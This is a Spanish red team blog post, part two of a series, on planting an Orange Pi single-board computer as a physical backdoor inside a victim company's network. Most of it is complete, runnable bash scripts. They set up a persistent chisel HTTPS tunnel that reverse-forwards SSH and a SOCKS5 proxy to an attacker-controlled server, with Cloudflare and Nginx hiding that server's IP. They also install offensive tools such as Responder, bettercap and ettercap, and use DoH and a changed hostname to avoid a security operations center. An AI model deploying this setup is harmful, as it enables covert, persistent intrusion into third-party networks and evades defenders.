En esta entrega se presentará la segunda parte del post Red Team — Caso de uso de un Backdoor físico en donde se presentará una forma más sofisticada de configurar un single-board computer, en este caso se utilizará un Orange Pi Zero2.
Dispositivos y OS testeados para este ejercicio
- Nanopi Neo 512MB: https://redirect.armbian.com/nanopineo/Jammy_current
- Orange pi Zero2 1GB (Ubuntu 22.04): http://www.orangepi.org/html/hardWare/computerAndMicrocontrollers/service-and-support/Orange-Pi-Zero-2.html
Configurando el entorno
Diagrama de conexión
Esta vez estaremos bajo un contexto más estricto, en donde la red de la corporación víctima cuenta con un SOC/NOC bien preparado, por lo cual si utilizamos un SSH por 443, como en el ejemplo anterior, seriamos fácilmente detectados, además de que nos delataríamos mostrando la IP de la VPS.
Para solucionar esta problemática, el objetivo es realizar un túnel HTTPS usando chisel para pivotear usando como cliente el Orange Pi (nuestro backdoor) en la red víctima y teniéndolo como servidor en una VPS, de esta forma se realiza un ejemplo parecido al post anterior en donde se obtenía shell por medio de una conexión reversa por SSH pero esta vez usando un proxy HTTPS. Como el servidor proxy es protocolo HTTPS podremos ocupar Cloudflare como intermediario para no exponer la IP de nuestra VPS, además de que si ocupamos DoH usando dnscrypt-proxy incrementaríamos la efectividad de no levantar sospechas y realizar el ejercicio lo más furtivo posible. También es necesario tener en cuenta de que queremos esconder del radar a bots y otros atacantes el acceso directo a nuestro servidor chisel, por lo cual no está de más tener un reverse proxy como Nginx para evitar atacantes.
Simplificando todo tenemos lo siguiente
- VPS para el servidor túnel HTTPS
- single-board computer como Backdoor
- chisel para el túnel HTTPS
- dnscrypt-proxy para DoH
- Cloudflare para ocultar la IP de la VPS
Estructura simplificada de la conexión
Backdoor -- Tunel HTTPS --> Cloudflare --> VPS <-- SSH -- Atacante
^ |
| |
------------------------- Comandos -------------------------
Configurando la VPS
Ya habiendo creado la VPS en nuestro proveedor favorito, instalaremos las herramientas necesarias:
Configuración de Cloudflare
- Se inicia sesión en Cloudflare y se selecciona el dominio a usar. Si no dispones de uno puede comprarlo en la misma plataforma de Cloudflare donde menciono en la imagen siguiente.
Donde comprar el dominio en Cloudflare.
2. Luego de seleccionar el dominio nos dirigimos a la sección DNS.
3. Añadimos el Record que necesitamos.
4. Rellenamos los datos con la información necesaria y guardamos, es importante que quede como Proxied.
Instalación y configuración de Nginx y Chisel
Antes de ejecutar el script tenemos que modificar las siguientes variables según el contexto que tendremos:
cloudflare_domain
cloudflare_path_proxy
cloudflare_creds_proxy
#!/bin/bash
if [ $EUID -ne 0 ]; then
echo "This script must be run as root"
exit 1
fi
# Patch Chisel expossed port of remote port forward
apt install ufw
ufw allow 22
ufw allow 80
ufw enable
# Install chisel
WORKDIR="$HOME/utilidades"
mkdir -p $WORKDIR
cd $WORKDIR
git clone https://github.com/udhos/update-golang
cd update-golang && bash update-golang.sh 2>&1 >/dev/null
source /etc/profile.d/golang_path.sh
cd $HOME
go install github.com/jpillora/chisel@latest
# Install Nginx
cloudflare_domain="c2.vay3t.org"
cloudflare_path_proxy="/static"
cloudflare_creds_proxy="alessa:superhardpassword123"
apt install nginx -y
rm -rf /var/www/html/*
rm -rf /etc/nginx/sites-enabled/*
rm -rf /etc/nginx/sites-available/*
echo -n "Not found" > /var/www/html/error.html
echo -n "Not found" > /var/www/html/index.html
cat <<EOF > /etc/nginx/sites-available/$cloudflare_domain
server {
server_tokens off;
root /var/www/html/;
server_name $cloudflare_domain;
listen 80;
error_page 400 401 403 404 500 502 503 504 /error.html;
location = /error.html {
etag off;
add_header content-type "text/plain; charset=utf-8" always;
root /var/www/html/;
}
location $cloudflare_path_proxy {
proxy_set_header Host \$host;
proxy_set_header X-Real-IP \$remote_addr;
proxy_set_header X-Forwarded-Host \$host:\$server_port;
proxy_set_header X-Forwarded-Server \$host;
proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
proxy_http_version 1.1;
proxy_set_header Upgrade \$http_upgrade;
proxy_set_header Connection "upgrade";
proxy_pass http://127.0.0.1:8000/;
}
}
EOF
ln -s /etc/nginx/sites-available/$cloudflare_domain /etc/nginx/sites-enabled/$cloudflare_domain
systemctl restart nginx
cat <<EOF > /etc/systemd/system/chisel-tunnel.service
[Unit]
Description=Chisel tunnel
After=network.target
[Service]
ExecStart=/root/go/bin/chisel server --host 127.0.0.1 -p 8000 --auth $cloudflare_creds_proxy --reverse --socks5
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable chisel-tunnel.service
systemctl restart chisel-tunnel.service
echo "[+] Done"
echo "[+] Your backend is: https://$cloudflare_domain$cloudflare_path_proxy"
echo "[!] You need check Cloudflare DNS to point to your server"
Configurando el Backdoor
Instalando dependencias
Es necesario saber que en caso de deploy es recomendado que la variable intruder_ssh_listen
tenga el valor 127.0.0.1
para que no sea posible acceder desde la red corporativa.
#!/bin/bash
if [ $EUID -ne 0 ]; then
echo "This script must be run as root"
exit 1
fi
export DEBIAN_FRONTEND=noninteractive
WORKDIR="$HOME/arsenal"
mkdir -p $WORKDIR
: <<EOD
# Create SSH config
intruder_ssh_port="22"
# Puedes dejarlo como 127.0.0.1 en caso de deploy
intruder_ssh_listen="0.0.0.0"
cat <<EOF >> sshd_config
Include /etc/ssh/sshd_config.d/*.conf
Port $intruder_ssh_port
# Port 22
ListenAddress $intruder_ssh_listen
PermitRootLogin yes
MaxAuthTries 6
PubkeyAuthentication no
PasswordAuthentication yes
PermitEmptyPasswords no
ChallengeResponseAuthentication no
X11Forwarding yes
PrintMotd no
DebianBanner no
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
EOF
# sshd_config
cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak
cp $PWD/sshd_config /etc/ssh/sshd_config
EOD
# Patch config no interactive apt install
sed -i 's/\#\ conf\_force\_conffold\=YES/conf\_force\_conffold\=YES/g' /etc/ucf.conf
# Init
apt update && apt dist-upgrade -y
# Firewall
# You can install ufw or firewalld
# Disable trashes
systemctl disable \
nfs-config.service \
rpcbind.service \
rpc-statd.service \
nfs-server.service
# Install essential tools
apt install -y \
nmap \
arp-scan \
netdiscover \
autossh \
nbtscan \
prips \
python3-pip \
python3-dev \
tcpdump \
macchanger \
traceroute \
tshark \
wipe \
libpcap-dev \
hping3 \
sslh \
socat \
netcat \
ettercap-text-only \
proxychains4
pip3 install scapy
# Git clone
git clone https://github.com/lgandx/Responder $WORKDIR/Responder
# Change hostname
hostnamectl set-hostname localhost
sed -i 's/'$HOSTNAME'/localhost/g' /etc/hosts
# Disable NTP Sync
#sudo timedatectl set-ntp no
# Install Golang
mkdir -p "$HOME/utilidades"
cd "$HOME/utilidades"
git clone https://github.com/udhos/update-golang
cd update-golang && bash update-golang.sh 2>&1 >/dev/null
source /etc/profile.d/golang_path.sh
# Install Golang tools
go install github.com/projectdiscovery/simplehttpserver/cmd/simplehttpserver@latest
go install github.com/jpillora/chisel@latest
# Install bettercap
apt install -y \
build-essential \
libpcap-dev \
libusb-1.0-0-dev \
libnetfilter-queue-dev
go install github.com/bettercap/bettercap@latest
: <<EOD
# install DoH
apt install -y dnscrypt-proxy
cat <<EOF > /etc/NetworkManager/conf.d/00-dns.conf
[main]
dns=none
EOF
systemctl restart NetworkManager.service
cat <<EOF > /etc/resolv.conf
nameserver ::ffff:7f00:201
nameserver 127.0.2.1
options edns0 single-request-reopen
EOF
systemctl start dnscrypt-proxy.service
systemctl enable dnscrypt-proxy.service
systemctl restart NetworkManager.service
EOD
# ssh key gen
genPrivKey="no"
if [ $genPrivKey == "yes" ]; then
echo -e "\n\n"
echo "[*] generating ssh key"
mkdir $HOME/.ssh
ssh-keygen -f $HOME/.ssh/id_rsa -t ed25519 -N ''
echo ">>> Please copy this pub key in your vps <<<"
echo -e "\n"
cat $HOME/.ssh/id_rsa.pub
echo -e "\n\n"
echo "[!] Don't forget to save your user/password for local ssh and your keys for tunnel"
fi
# Install fscrypt
fscrypt_install="no"
if [ $fscrypt_install == "yes" ]; then
apt -y install fscrypt
fscrypt setup
tune2fs -O encrypt "/dev/mmcblk0p1"
mkdir $PWD/private
fscrypt encrypt $PWD/private --source=custom_passphrase --name=pi
# umount
echo
echo "> umounting: $ fscrypt lock $PWD/private"
# mount
echo "> mounting: $ fscrypt unlock $PWD/private"
fi
Configurando el cliente proxy HTTPS
Configurando el cliente proxy tenemos la capacidad de dejar un remote port forward del puerto 22 al puerto 2222 y un proxy socks5 en el puerto 9999 accesibles desde la VPS.
Antes de ejecutar el script tenemos que modificar las siguientes variables según el contexto que tendremos:
cloudflare_domain
cloudflare_path_proxy
cloudflare_creds_proxy
#!/bin/bash
if [ $EUID -ne 0 ]; then
echo "This script must be run as root"
exit 1
fi
# Proxy https configuration
cloudflare_domain="c2.vay3t.org"
cloudflare_path_proxy="/static"
cloudflare_creds_proxy="alessa:superhardpassword123"
cat <<EOF > /etc/systemd/system/chisel-tunnel.service
[Unit]
Description=Chisel tunnel
After=network.target
[Service]
ExecStart=/root/go/bin/chisel client --auth $cloudflare_creds_proxy https://$cloudflare_domain$cloudflare_path_proxy R:2222:localhost:22 R:9999:socks
[Install]
WantedBy=multi-user.target
EOF
systemctl daemon-reload
systemctl enable chisel-tunnel.service
systemctl restart chisel-tunnel.service
Accediendo al pivote
Ahora es posible acceder al Backdoor desde nuestra VPS con el siguiente comando:
ssh root@127.0.0.1 -p 2222
Para poder ejecutar herramientas desde la VPS instalamos proxychains4
sudo apt install -y proxychains4
Modificamos el archivo de configuración en: /etc/proxychains4
en la última línea dejamos escrito lo que sale en la imagen
Ejecutar herramientas desde la VPS
proxychains4 -q nmap -sT [...]
Ejecutando herramientas desde nuestro host
- Antes que nada debemos instalar proxychains en nuestro host (Ubuntu 22.04 LTS).
sudo apt install -y proxychains4
2. Se inicia sesión SSH a la VPS desde nuestro host.
ssh user@mivps -CD8888
3. Se modifica el archivo de configuración de proxychains4 en nuestro host.
sudo nano /etc/proxychains4.conf
4. En las últimas líneas modificar:
[ProxyList]
socks5 127.0.0.1 8888
socks5 127.0.0.1 9999
5. Ahora es posible ejecutar herramientas a través de proxychains desde nuestro computador personal:
proxychains4 -q nmap -sT [...]
¡Listo! SSH por HTTPS
Warning
Chisel tiene un pequeño problema, que cuando realizas el remote port forward, el puerto forwardeado queda expuesto en la interfaz del IPv6 del sistema operativo, por lo cual transformando la IPv4 del servidor a IPv6 es posible acceder al puerto expuesto que es el SSH de la Orange Pi.
Existe una forma de mitigar esto agregando las siguientes reglas de Firewall usando ufw, esto ya está incluido en el script de instalación y configuración del servidor, aun así, deben tenerlo en cuenta.
# Patch Chisel expossed port of remote port forward
apt install ufw
ufw allow 22
ufw allow 80
ufw enable
Bonus Track
Usar Caddy en vez de Nginx
- Instalación
apt install -y debian-keyring debian-archive-keyring apt-transport-https
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
apt update
apt install -y caddy
- Se debe crear el archivo Caddyfile con lo siguiente:
http://c2.vay3t.org {
respond "Not found"
handle /static {
reverse_proxy {
to 127.0.0.1:8000
}
}
}
- Es posible ejecutarlo por CLI
caddy run --config Caddyfile
- También como servicio editando el archivo
/etc/caddy/Caddyfile
systemctl enable caddy
systemctl start caddy
- Para ataques más sofisticados es posible crear un servidor DoH propio
Referencias y links de interés
Contribución de NCH